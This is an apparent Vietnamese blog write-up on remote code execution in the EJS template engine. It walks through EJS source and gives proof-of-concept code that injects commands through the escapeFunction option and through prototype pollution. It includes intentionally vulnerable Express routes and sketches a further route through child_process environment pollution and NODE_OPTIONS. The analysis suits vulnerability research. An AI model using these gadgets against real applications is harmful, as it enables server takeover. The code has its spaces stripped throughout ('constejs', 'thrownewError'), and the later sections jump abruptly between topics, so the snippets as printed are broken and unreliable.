constejs=require("ejs")consttemplate='<h1>Hello <%= name %></h1>';ejs.clearCache();constdata={name:"12113awefeaw"}constcompiled=ejs.render(template,data,{});console.log(compiled.toString())
exports.render=function(template,d,o){vardata=d||utils.createNullProtoObjWherePossible();varopts=o||utils.createNullProtoObjWherePossible();// No options object -- if there are optiony names
// in the data, copy them to options
if(arguments.length==2){utils.shallowCopyFromList(opts,data,_OPTS_PASSABLE_WITH_DATA);}returnhandleCache(opts,template)(data);};
Hàm nhận vào data và options .
Nếu không có options thì kiểu tra data xem có key nào có thể cho vào OPTIONS hay không theo danh sách trên :
Sau đó gọi hàm handleCache nhận về một function và cho data làm đối số. Vậy ta sẽ phải tìm hiểu hàm handleCache sẽ trả về function gì .
handleCache :
functionhandleCache(options,template){varfunc;varfilename=options.filename;varhasTemplate=arguments.length>1;if(options.cache){if(!filename){thrownewError('cache option requires a filename');}func=exports.cache.get(filename);if(func){returnfunc;}if(!hasTemplate){template=fileLoader(filename).toString().replace(_BOM,'');}}elseif(!hasTemplate){// istanbul ignore if: should not happen at all
if(!filename){thrownewError('Internal EJS error: no file name or template '+'provided');}template=fileLoader(filename).toString().replace(_BOM,'');}func=exports.compile(template,options);if(options.cache){exports.cache.set(filename,func);}returnfunc;}
Trước hết nó sẽ kiểm tra options cache xem có hay không sau đó sẽ dùng filename đó đưa vào hàm cache.get(filename) để nhận về một function thứ mà ta có thể đưa data vào để nhận được template cuối cùng.
Trường hợp không có cache thì sẽ dùng hàm compile với template và options được truyền vào.
compile function :
exports.compile=functioncompile(template,opts){vartempl;// v1 compat
// 'scope' is 'context'
// FIXME: Remove this in a future version
if(opts&&opts.scope){if(!scopeOptionWarned){console.warn('`scope` option is deprecated and will be removed in EJS 3');scopeOptionWarned=true;}if(!opts.context){opts.context=opts.scope;}deleteopts.scope;}templ=newTemplate(template,opts);returntempl.compile();};
Tạo một Object template và trả về kết quả sau khi gọi hàm templ.compile()
Class Template khá lớn nên mình sẽ tập trung vào hàm compile của nó . Hàm compile này là core function để tạo nên một function sẽ nhận data và trả về template.
Trước khi đọc các giai đoạn nó tạo ra hàm thì ta có thể đơn giản là log hàm đó ra :
Với options.client =0 thì ta sẽ nhận được hàm trên và fn ở đây sau khi log ra thì ta có :
functionanonymous(locals,escapeFn,include,rethrow){var__line=1,__lines="<h1>Hello <%= name %></h1>",__filename=undefined;try{var__output="";function__append(s){if(s!==undefined&&s!==null)__output+=s}with(locals||{}){;__append("<h1>Hello ");__append(escapeFn(name));__append("</h1>")}return__output;}catch(e){rethrow(e,__lines,__filename,__line,escapeFn);}}
Đến đây ta hoàn toàn có thể thấy được logic mà name được đưa vào template. Khá phức tạp ở đây nhưng ta sẽ tiếp tục đọc vào hàm này.
Đây là source generate được đống function trên bằng cách ghép nhiều chuỗi với nhau
if(!this.source){this.generateSource();prepended+=' var __output = "";\n'+' function __append(s) { if (s !== undefined && s !== null) __output += s }\n';if(opts.outputFunctionName){if(!_JS_IDENTIFIER.test(opts.outputFunctionName)){thrownewError('outputFunctionName is not a valid JS identifier.');}prepended+=' var '+opts.outputFunctionName+' = __append;'+'\n';}if(opts.localsName&&!_JS_IDENTIFIER.test(opts.localsName)){thrownewError('localsName is not a valid JS identifier.');}if(opts.destructuredLocals&&opts.destructuredLocals.length){vardestructuring=' var __locals = ('+opts.localsName+' || {}),\n';for(vari=0;i<opts.destructuredLocals.length;i++){varname=opts.destructuredLocals[i];if(!_JS_IDENTIFIER.test(name)){thrownewError('destructuredLocals['+i+'] is not a valid JS identifier.');}if(i>0){destructuring+=',\n ';}destructuring+=name+' = __locals.'+name;}prepended+=destructuring+';\n';}if(opts._with!==false){prepended+=' with ('+opts.localsName+' || {}) {'+'\n';appended+=' }'+'\n';}appended+=' return __output;'+'\n';this.source=prepended+this.source+appended;}if(opts.compileDebug){src='var __line = 1'+'\n'+' , __lines = '+JSON.stringify(this.templateText)+'\n'+' , __filename = '+sanitizedFilename+';'+'\n'+'try {'+'\n'+this.source+'} catch (e) {'+'\n'+' rethrow(e, __lines, __filename, __line, escapeFn);'+'\n'+'}'+'\n';}else{src=this.source;}if(opts.client){src='escapeFn = escapeFn || '+escapeFn.toString()+';'+'\n'+src;if(opts.compileDebug){src='rethrow = rethrow || '+rethrow.toString()+';'+'\n'+src;}}if(opts.strict){src='"use strict";\n'+src;}if(opts.debug){console.log(src);}if(opts.compileDebug&&opts.filename){src=src+'\n'+'//# sourceURL='+sanitizedFilename+'\n';}
Đến đây ta đã biết rằng hàm sau sẽ được execute và hàm được tạo bởi các string ghép lại ? Vậy sẽ thế nào nếu ta có thẻ input tùy ý vào hàm này qua options của ejs? Từ đó lấy RCE ? Ta sẽ đi tìm một vài điểm nào đó có thể cho ta input vào . Nhìn sơ ta có thể thấy
if(opts.outputFunctionName){if(!_JS_IDENTIFIER.test(opts.outputFunctionName)){thrownewError('outputFunctionName is not a valid JS identifier.');}prepended+=' var '+opts.outputFunctionName+' = __append;'+'\n';}
Nhưng vì có regrex khá căng nên cũng không khả thi lắm. Riêng chỉ có đoạn này :
Well cả 2 biến client và escapeFn đều được lấy từ options object vào ? Sẽ ra sao nếu ta split javascript code với “;” và chèn rce code vào ?
constejs=require("ejs")consttemplate='<h1>Hello <%= name %></h1>';escapeFunction="JSON.stringify; console.log(1337);let cp = process.mainModule.require('child_process');console.log(cp.execSync('id').toString());"constdata={name:"12113awefeaw"}constcompiled=ejs.render(template,data,{client:1,escapeFunction:escapeFunction});// not works
console.log(compiled.toString())
Khi này function sau sẽ được generate ra :
functionanonymous(locals,escapeFn,include,rethrow){rethrow=rethrow||functionrethrow(err,str,flnm,lineno,esc){varlines=str.split('\n');varstart=Math.max(lineno-3,0);varend=Math.min(lines.length,lineno+3);varfilename=esc(flnm);// Error context
varcontext=lines.slice(start,end).map(function(line,i){varcurr=i+start+1;return(curr==lineno?' >> ':' ')+curr+'| '+line;}).join('\n');// Alter exception message
err.path=filename;err.message=(filename||'ejs')+':'+lineno+'\n'+context+'\n\n'+err.message;throwerr;};/*OUR OPTIONS GOES IN HERE */escapeFn=escapeFn||JSON.stringify;console.log(1337);letcp=process.mainModule.require('child_process');console.log(cp.execSync('id').toString());;var__line=1,__lines="<h1>Hello <%= name %></h1>",__filename=undefined;try{var__output="";function__append(s){if(s!==undefined&&s!==null)__output+=s}with(locals||{}){;__append("<h1>Hello ");__append(escapeFn(name));__append("</h1>")}return__output;}catch(e){rethrow(e,__lines,__filename,__line,escapeFn);}}
Nhưng trong thực tế ta sẽ không kiểm soát được options được chèn vào . Vậy sẽ ra sao nếu ta có một prototype pollution ở phía server ? Test với đoạn code sau :
constejs=require("ejs")consttemplate='<h1>Hello <%= name %></h1>';ejs.clearCache();escapeFunction="JSON.stringify; console.log(1337);let cp = process.mainModule.require('child_process');console.log(cp.execSync('id').toString());"Object.prototype.client=trueObject.prototype.escapeFunction=escapeFunctionconstdata={name:"12113awefeaw"}constcompiled=ejs.render(template,data);// not works
console.log(compiled.toString())
Hmmmm , ta thấy không có gì xảy ra cả vì nếu để ý từ đầu đoạn code đã có một phần check rất rõ :
Điều này đã block việc protoytpe pollution nhưng có một vấn đề là nhiều project ở ngoài kia sẽ không bao giờ để trống options field và đơn giản sẽ truyền vào đó một empty object ~ ~!! chính điều này là root cause cho việc bypass này , để simluate ta đơn giản chỉ cần truyền {} vào là đc .
constejs=require("ejs")consttemplate='<h1>Hello <%= name %></h1>';ejs.clearCache();escapeFunction="JSON.stringify; console.log(1337);let cp = process.mainModule.require('child_process');console.log(cp.execSync('id').toString());"Object.prototype.client=trueObject.prototype.escapeFunction=escapeFunctionconstdata={name:"12113awefeaw"}constcompiled=ejs.render(template,data,{});// works now with polluted {}
console.log(compiled.toString())
Tèn ten , điều này hoạt động vì hàm render sẽ ưu tiên nhận object từ ngoài vào.
Để kiểm chứng việc truyền object trống vào options ta có thể xem sơ qua source của express js ta sẽ thấy đoạn sau :Vì luôn có options object nên Express default cũng có thể bị lỗi này .
constexpress=require('express');constpath=require('path');constbodyParser=require('body-parser');constapp=express();app.use(bodyParser.json());// Set EJS as the template engine
app.set('view engine','ejs');// Set the views directory
app.set('views',path.join(__dirname,'views'));app.post("/pollute_me",(req,res)=>{// Prototype pollution vulnerability here
Object.assign(Object.prototype,req.body);console.log({}.client)res.send('Updated!');})// Define a simple route
app.get('/',(req,res)=>{res.render('index',{title:'Hello EJS',message:'Welcome to EJS Template!'});});// Start the server
constPORT=process.env.PORT||3000;app.listen(PORT,()=>{console.log(`Server running on http://localhost:${PORT}`);});
/**
* Express.js support.
*
* This is an alias for {@link module:ejs.renderFile}, in order to support
* Express.js out-of-the-box.
*
* @func
*/exports.__express=exports.renderFile;
Vậy bản chất của express sẽ gọi tới hàm renderFile :
exports.renderFile=function(){varargs=Array.prototype.slice.call(arguments);varfilename=args.shift();varcb;varopts={filename:filename};vardata;varviewOpts;// Do we have a callback?
if(typeofarguments[arguments.length-1]=='function'){cb=args.pop();}// Do we have data/opts?
if(args.length){// Should always have data obj
data=args.shift();// Normal passed opts (data obj + opts obj)
if(args.length){// Use shallowCopy so we don't pollute passed in opts obj with new vals
utils.shallowCopy(opts,args.pop());}// Special casing for Express (settings + opts-in-data)
else{// Express 3 and 4
if(data.settings){// Pull a few things from known locations
if(data.settings.views){opts.views=data.settings.views;}if(data.settings['view cache']){opts.cache=true;}// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
viewOpts=data.settings['view options'];if(viewOpts){utils.shallowCopy(opts,viewOpts);}}// Express 2 and lower, values set in app.locals, or people who just
// want to pass options in their data. NOTE: These values will override
// anything previously set in settings or settings['view options']
utils.shallowCopyFromList(opts,data,_OPTS_PASSABLE_WITH_DATA_EXPRESS);}opts.filename=filename;}else{data=utils.createNullProtoObjWherePossible();}returntryHandleCache(opts,data,cb);};
Hàm này khá tương đồng với hàm render bình thường nhưng sẽ có vài điểm đặc biệt đó là :
constexpress=require('express');constpath=require('path');constbodyParser=require('body-parser');constapp=express();app.use(bodyParser.json());// Set EJS as the template engine
app.set('view engine','ejs');// Set the views directory
app.set('views',path.join(__dirname,'views'));app.post("/pollute_me",(req,res)=>{// Prototype pollution vulnerability here
constdata={title:'Hello EJS',message:'Welcome to EJS Template!'}Object.assign(data,req.body);res.render('index',data)})// Define a simple route
app.get('/',(req,res)=>{res.render('index',{title:'Hello EJS',message:'Welcome to EJS Template!'});});// Start the server
constPORT=process.env.PORT||3000;app.listen(PORT,()=>{console.log(`Server running on http://localhost:${PORT}`);});
Lưu ý: gadget trên chỉ hoạt động khi kiểm soát được property trực tiếp của data chứ không phải proottype pollution vì khi parse renderOptions , nó chỉ copy các own property thui chứ không dùng luôn cả objects đấy.
Nó sẽ kiểm tra các biến có phải là property trực tiếp hay không sau đó trả copy vào một Null Object và returns về . Không biết có bypass đc ko :v
Nhìn chung nếu ta có thể kiểm soát biến data (not prototype pollution) thì rce vẫn posssible .
Hàm trên sẽ tạo một process và truyền options được lấy từ normalizeSpawnArguments
Vấn đề ở đây là hàm trên có một bug về pp .
constenv=options.env||process.env;constenvPairs=[];//Prototypevaluesareintentionallyincluded.for(constkeyinenv){constvalue=env[key];if(value!==undefined){envPairs.push(`${key}=${value}`);}}return{//Makeashallowcopysowedon't clobber the user'soptionsobject....options,args,detached:!!options.detached,envPairs,file,windowsHide:!!options.windowsHide,windowsVerbatimArguments:!!windowsVerbatimArguments};
Như ta đã biết vòng for in ở đây sẽ loop qua cả các prototype và dường như điều này đã được các developer intend nhưng mà không hiểu sao lại intend v nữa : )
Vậy spawn một process mới và kiểm soát được options thì ta có thể làm được gì ? Có một options khá thú vị nếu như ta spawn một node process .
Đó là NODE_OPTIONS : https://nodejs.org/api/cli.html#node_optionsoptionsVà ta có thể thấy :Kết hợp điều này với gadget trên thì ta có thể dễ dàng lấy RCE . Vậy làm sao có thể làm được khi ta không có thể tạo file ? Ta có thể lợi dụng các file đặc biệt như /proc/self/environ như ví dụ ở Kibana nhưng điều này đã bị chặn và không còn khả thi vì node js đã fixx lỗi này và luôn đặt environ ở cuối cùng.
Vậy là sao để bypass ?
Ta sẽ lợi dụng một file đặc biệt là file /proc/self/cmdline là file sẽ trả về argv[0] ví dụ :
scripts={"pace":"https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js","main":"/main.js",}Object.prototype.polluted="WTF"console.log("Just log it out : ",scripts)for(letscriptinscripts){console.log("["+script+"] => "+scripts[script])}
Như mọi người ai cũng biết là khi làm prototype pollution ta thường dùng các key như “proto” hay “constructor.prototype” để access được Object.prototype nhưng vì sao lại như vậy ?